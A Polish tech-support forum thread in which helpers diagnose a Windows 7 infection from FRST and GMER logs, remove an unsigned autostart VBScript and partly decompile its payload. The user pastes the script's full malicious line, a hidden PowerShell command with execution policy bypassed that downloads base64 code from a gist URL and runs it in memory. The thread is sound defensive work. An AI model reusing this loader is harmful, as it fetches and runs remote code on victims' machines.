Skocz do zawartości
valaris

Win32 Kazy i przyjaciele - prośba o sprawdzenie logów

Rekomendowane odpowiedzi

Hej,

jakiś czas temu mój komputer (Win 7, SSD 1 TB, 8GB RAM) zaczął mocno mulić podczas codziennego użytku tzn. internet, muzyka, youtube. Przeskanowałem komputer Spybotem i w wynikach pojawił się trojan Win 32 Kazy. Wyczyściłem komputer Malwarebytes ale odnoszę qwrażenie, że coś jeszcze mogło zostać bo komputer dalej potrafi złapać zadyszkę. Dodam, że w Chrome pojawia się komunikat o przecwyceniu haseł. Chciałbym poddać komputer pełnej diagnostyce pod kątem zarazy. 

Wklejam logi z GMER (screeny z instrukcji mi się nie wyświetlają, więc zrobiłem pełen skan) i FRST. Uprzejmie proszę o diagnostykę i wskazówki czym jeszcze zeskanować komputer. 

GMER > https://pastebin.pl/view/8559403a

FRST > https://pastebin.pl/view/ce4574d1

 

 

Udostępnij tę odpowiedź


Odnośnik do odpowiedzi
Udostępnij na innych stronach
Gość
Cytat

C:\Windows\System32\wuaueng3.dll

Przeskanuj ten plik na virustotal https://www.virustotal.com/gui/.

Znasz poniższy skrypt w autostarcie?

Cytat

HKU\S-1-5-21-264015831-1648972797-540543994-1000\...\Run: [SPowerHost] => C:\ProgramData\system32\SPHostd.vbs [631 2020-12-05] () [Brak podpisu cyfrowego]

 

Edytowane przez Gość

Udostępnij tę odpowiedź


Odnośnik do odpowiedzi
Udostępnij na innych stronach

Plik chyba czysty - No engines detected this file a skryptu nie kojarzę. 

Udostępnij tę odpowiedź


Odnośnik do odpowiedzi
Udostępnij na innych stronach
Gość

Jest jeszcze problem z zamulaniem? Jeśli tak i chcesz usunąć ten skrypt + kosmetyka, uruchom FRST a następnie (poprzez skrót klawiszowy CTRL + Y) otwórz notatnik systemowy. Wklej w nim poniższą zawartość:

Cytat

CloseProcesses:
HKU\S-1-5-21-264015831-1648972797-540543994-1000\...\Run: [SPowerHost] => C:\ProgramData\system32\SPHostd.vbs [631 2020-12-05] () [Brak podpisu cyfrowego]
C:\ProgramData\system32\SPHostd.vbs
Startup: C:\Users\Pompon\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\igfcxpsl.lnk [2020-12-25]
ShortcutTarget: igfcxpsl.lnk -> C:\ProgramData\system32\igfx3pl.exe (Brak pliku)
Startup: C:\Users\Pompon\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sphostd.vbs [2020-12-05] () [Brak podpisu cyfrowego]
2021-02-08 21:24 - 2021-02-08 21:24 - 000000331 _____ C:\Start_.cmd
2021-02-08 21:24 - 2021-02-08 21:24 - 000000000 ____D C:\ComboFix
2021-02-08 21:21 - 2021-02-08 21:21 - 000000000 ____D C:\Windows\erdnt
2021-02-08 21:12 - 2021-02-08 21:12 - 005659583 ____R (Swearware) C:\Users\Pompon\Desktop\ComboFix.exe
EmptyTemp:

Poprzez skrót klawiszowy CTRL + S (albo przez Plik -> Zapisz) zapisz zmiany w notatniku a następnie w FRST kliknij na Napraw. Na zakończenie naprawy FRST poprosi o restart systemu.

Edytowane przez Gość

Udostępnij tę odpowiedź


Odnośnik do odpowiedzi
Udostępnij na innych stronach

Zawartość pliku SPHostd.vbs (to zwykły plik tekstowy, w notatniku można podejrzeć zawartość) mogłaby się przydać, żeby określić co takiego robił w systemie i co dodatkowo sprawdzić.

Udostępnij tę odpowiedź


Odnośnik do odpowiedzi
Udostępnij na innych stronach

Zrobiłem wszystko wg. instrukcji Toska78 i teraz chyba brakuje pliku SPHostd.vbs ;)

Poobserwuję pracę komputera. Niepokoją mnie jeszcze te przejęe hasłą w Chrome. Mam się martwić i wszędzie pozmieniadostępy?

Udostępnij tę odpowiedź


Odnośnik do odpowiedzi
Udostępnij na innych stronach
Gość

Odnośnie Chroma nie ma nic podejrzanego w logach ale profilaktycznie można zmienić hasło. Nie ma pliku SPHostd.vbs bo go dałem do usunięcia. Jest w katalogu kwarantanny FRST w C:\FRST\Quarantine i można go przywrócić stamtąd w razie co.

Edytowane przez Gość

Udostępnij tę odpowiedź


Odnośnik do odpowiedzi
Udostępnij na innych stronach

Otworzyłem plik w notatniku i tak to wygląda: 

CreateObject("Wscript.Shell").Run  "powershell.exe –ExecutionPolicy Bypass -WindowStyle Hidden -NoExit -Command [AppDomain]::CurrentDomain.Load([Convert]::Frombase64String((New-Object System.Net.WebClient).Downloadstring('https://gist.githubusercontent.com/csrsg/e0b46c77b6b6faf5e2574ac87e2ab8ba/raw/'))).EntryPoint.invoke($null,$null);"                                                                                                                                                                                                                                                                                                      

Udostępnij tę odpowiedź


Odnośnik do odpowiedzi
Udostępnij na innych stronach

Chwila, muszę zdekodować.

Edit: Windowsowa apka napisana w jakimś visualu.

Na końcu ma deklarację:

<?xml version="1.0" encoding="utf-8"?>
<assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1">
  <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
    <security>
      <requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
        <!-- UAC Manifest Options
             If you want to change the Windows User Account Control level replace the
             requestedExecutionLevel node with one of the following.

        <requestedExecutionLevel  level="asInvoker" uiAccess="false" />
        <requestedExecutionLevel  level="requireAdministrator" uiAccess="false" />
        <requestedExecutionLevel  level="highestAvailable" uiAccess="false" />

            Specifying requestedExecutionLevel element will disable file and registry virtualization.
            Remove this element if your application requires this virtualization for backwards
            compatibility.
        -->
        <requestedExecutionLevel level="asInvoker" uiAccess="false" />
      </requestedPrivileges>
    </security>
  </trustInfo>

  <compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">
    <application>
      <!-- A list of the Windows versions that this application has been tested on and is
           is designed to work with. Uncomment the appropriate elements and Windows will
           automatically selected the most compatible environment. -->

      <!-- Windows Vista -->
      <!--<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}" />-->

      <!-- Windows 7 -->
      <!--<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}" />-->

      <!-- Windows 8 -->
      <!--<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}" />-->

      <!-- Windows 8.1 -->
      <!--<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}" />-->

      <!-- Windows 10 -->
      <!--<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}" />-->

    </application>
  </compatibility>

  <!-- Indicates that the application is DPI-aware and will not be automatically scaled by Windows at higher
       DPIs. Windows Presentation Foundation (WPF) applications are automatically DPI-aware and do not need
       to opt in. Windows Forms applications targeting .NET Framework 4.6 that opt into this setting, should
       also set the 'EnableWindowsFormsHighDpiAutoResizing' setting to 'true' in their app.config. -->
  <!--
  <application xmlns="urn:schemas-microsoft-com:asm.v3">
    <windowsSettings>
      <dpiAware xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>
    </windowsSettings>
  </application>
  -->

  <!-- Enable themes for Windows common controls and dialogs (Windows XP and later) -->
  <!--
  <dependency>
    <dependentAssembly>
      <assemblyIdentity
          type="win32"
          name="Microsoft.Windows.Common-Controls"
          version="6.0.0.0"
          processorArchitecture="*"
          publicKeyToken="6595b64144ccf1df"
          language="*"
        />
    </dependentAssembly>
  </dependency>
  -->

</assembly>

Był jakiś program, który pozwalał zamieniać exe do kodu, ale już nie pamiętam jak się nazywał. Być może trzeba by było zapytać Kasperskiego albo Mcafee czy coś mogą powiedzieć.

Udostępnij tę odpowiedź


Odnośnik do odpowiedzi
Udostępnij na innych stronach

Dobra, mam kod; wygląda na jakiś rodzaj internetowego klienta (albo serwera)

	dekoder
	public static string TripleDES_Decrypt(string input, string pass)
    {
      TripleDESCryptoServiceProvider cryptoServiceProvider1 = new TripleDESCryptoServiceProvider();
      MD5CryptoServiceProvider cryptoServiceProvider2 = new MD5CryptoServiceProvider();
      string str;
      try
      {
        byte[] numArray = new byte[24];
        byte[] hash = cryptoServiceProvider2.ComputeHash(Encoding.ASCII.GetBytes(pass));
        Array.Copy((Array) hash, 0, (Array) numArray, 0, 16);
        Array.Copy((Array) hash, 0, (Array) numArray, 15, 8);
        cryptoServiceProvider1.Key = numArray;
        cryptoServiceProvider1.Mode = CipherMode.ECB;
        ICryptoTransform decryptor = cryptoServiceProvider1.CreateDecryptor();
        byte[] inputBuffer = Convert.FromBase64String(input);
        str = Encoding.ASCII.GetString(decryptor.TransformFinalBlock(inputBuffer, 0, inputBuffer.Length));
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.ClearProjectError();
      }
      return str;
    }
	główna część:
	namespace HostProcess.My
{
  [StandardModule]
  [HideModuleName]
  [GeneratedCode("MyTemplate", "11.0.0.0")]
  internal sealed class MyProject
  {
    private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
    private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
    private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
    private static MyProject.ThreadSafeObjectProvider<MyProject.MyForms> m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyForms>();
    private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
	    [HelpKeyword("My.Computer")]
    internal static MyComputer Computer
    {
      [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
    }
	    [HelpKeyword("My.Application")]
    internal static MyApplication Application
    {
      [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
    }
	    [HelpKeyword("My.User")]
    internal static User User
    {
      [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
    }
	    [HelpKeyword("My.Forms")]
    internal static MyProject.MyForms Forms
    {
      [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance;
    }
	    [HelpKeyword("My.WebServices")]
    internal static MyProject.MyWebServices WebServices
    {
      [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
    }
	    [EditorBrowsable(EditorBrowsableState.Never)]
    [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")]
    internal sealed class MyForms
    {
      [ThreadStatic]
      private static Hashtable m_FormBeingCreated;
      [EditorBrowsable(EditorBrowsableState.Never)]
      public Form1 m_Form1;
	      [DebuggerHidden]
      private static T Create__Instance__<T>(T Instance) where T : Form, new()
      {
        if ((object) Instance != null && !Instance.IsDisposed)
          return Instance;
        if (MyProject.MyForms.m_FormBeingCreated != null)
        {
          if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T)))
            throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate"));
        }
        else
          MyProject.MyForms.m_FormBeingCreated = new Hashtable();
        MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null);
        TargetInvocationException invocationException;
        try
        {
          return new T();
        }
        catch (TargetInvocationException ex) when (
        {
          // ISSUE: unable to correctly present filter
          ProjectData.SetProjectError((Exception) ex);
          invocationException = ex;
          if (invocationException.InnerException != null)
          {
            SuccessfulFiltering;
          }
          else
            throw;
        }
        )
        {
          throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", invocationException.InnerException.Message), invocationException.InnerException);
        }
        finally
        {
          MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T));
        }
      }
	      [DebuggerHidden]
      private void Dispose__Instance__<T>(ref T instance) where T : Form
      {
        instance.Dispose();
        instance = default (T);
      }
	      [DebuggerHidden]
      [EditorBrowsable(EditorBrowsableState.Never)]
      public MyForms()
      {
      }
	      [EditorBrowsable(EditorBrowsableState.Never)]
      public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
	      [EditorBrowsable(EditorBrowsableState.Never)]
      public override int GetHashCode() => base.GetHashCode();
	      [EditorBrowsable(EditorBrowsableState.Never)]
      internal new System.Type GetType() => typeof (MyProject.MyForms);
	      [EditorBrowsable(EditorBrowsableState.Never)]
      public override string ToString() => base.ToString();
	      public Form1 Form1
      {
        [DebuggerHidden] get
        {
          this.m_Form1 = MyProject.MyForms.Create__Instance__<Form1>(this.m_Form1);
          return this.m_Form1;
        }
        [DebuggerHidden] set
        {
          if (value == this.m_Form1)
            return;
          if (value != null)
            throw new ArgumentException("Property can only be set to Nothing");
          this.Dispose__Instance__<Form1>(ref this.m_Form1);
        }
      }
    }
	    [EditorBrowsable(EditorBrowsableState.Never)]
    [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
    internal sealed class MyWebServices
    {
      [EditorBrowsable(EditorBrowsableState.Never)]
      [DebuggerHidden]
      public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
	      [EditorBrowsable(EditorBrowsableState.Never)]
      [DebuggerHidden]
      public override int GetHashCode() => base.GetHashCode();
	      [EditorBrowsable(EditorBrowsableState.Never)]
      [DebuggerHidden]
      internal new System.Type GetType() => typeof (MyProject.MyWebServices);
	      [EditorBrowsable(EditorBrowsableState.Never)]
      [DebuggerHidden]
      public override string ToString() => base.ToString();
	      [DebuggerHidden]
      private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
	      [DebuggerHidden]
      private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
	      [DebuggerHidden]
      [EditorBrowsable(EditorBrowsableState.Never)]
      public MyWebServices()
      {
      }
    }
	    [EditorBrowsable(EditorBrowsableState.Never)]
    [ComVisible(false)]
    internal sealed class ThreadSafeObjectProvider<T> where T : new()
    {
      internal T GetInstance
      {
        [DebuggerHidden] get
        {
          if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
            MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
          return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
        }
      }
	      [DebuggerHidden]
      [EditorBrowsable(EditorBrowsableState.Never)]
      public ThreadSafeObjectProvider()
      {
      }
    }
  }
}
	

Udostępnij tę odpowiedź


Odnośnik do odpowiedzi
Udostępnij na innych stronach
Gość

Autor pisał że nie wie skąd się wziął ten skrypt w autostarcie, nie zna jego pochodzenia. Można jeszcze go przeskanować na virustotal jeśli go calkiem nie usunął. W sieci też ciężko znaleźć jakiekolwiek info o nim.

Edytowane przez Gość

Udostępnij tę odpowiedź


Odnośnik do odpowiedzi
Udostępnij na innych stronach
Gość

A przywracałeś go z C:\FRST\Quarantine? Bo tam trafił po naprawie w FRST. Może mieć zmienione rozszerzenie ale można go przywrócić np. przy użyciu komendy w FRST,

tzn. uruchom FRST a następnie (poprzez skrót klawiszowy CTRL + Y) otwórz notatnik systemowy. Wklej w nim poniższą zawartość:

Cytat

RestoreQuarantine: C:\FRST\Quarantine\C\ProgramData\system32\SPHostd.vbs.xBAD

Poprzez skrót klawiszowy CTRL + S (albo przez Plik -> Zapisz) zapisz zmiany w notatniku a następnie w FRST kliknij na Napraw.

Po tej naprawie powinien się z powrotem pojawić SPHostd.vbs C:\ProgramData\system32. To się uda przy założeniu że nie usunąłeś katalogu kwarantanny FRST ani tego zacytowanego pliku.

Edytowane przez Gość

Udostępnij tę odpowiedź


Odnośnik do odpowiedzi
Udostępnij na innych stronach

a to skan pliku pobranego przez skrypt vbs

skan_wirusa.PNG

Udostępnij tę odpowiedź


Odnośnik do odpowiedzi
Udostępnij na innych stronach

Jeśli chcesz dodać odpowiedź, zaloguj się lub zarejestruj nowe konto

Jedynie zarejestrowani użytkownicy mogą komentować zawartość tej strony.

Zarejestruj nowe konto

Załóż nowe konto. To bardzo proste!

Zarejestruj się

Zaloguj się

Posiadasz już konto? Zaloguj się poniżej.

Zaloguj się

  • Ostatnio przeglądający   0 użytkowników

    Brak zarejestrowanych użytkowników przeglądających tę stronę.

×
×
  • Dodaj nową pozycję...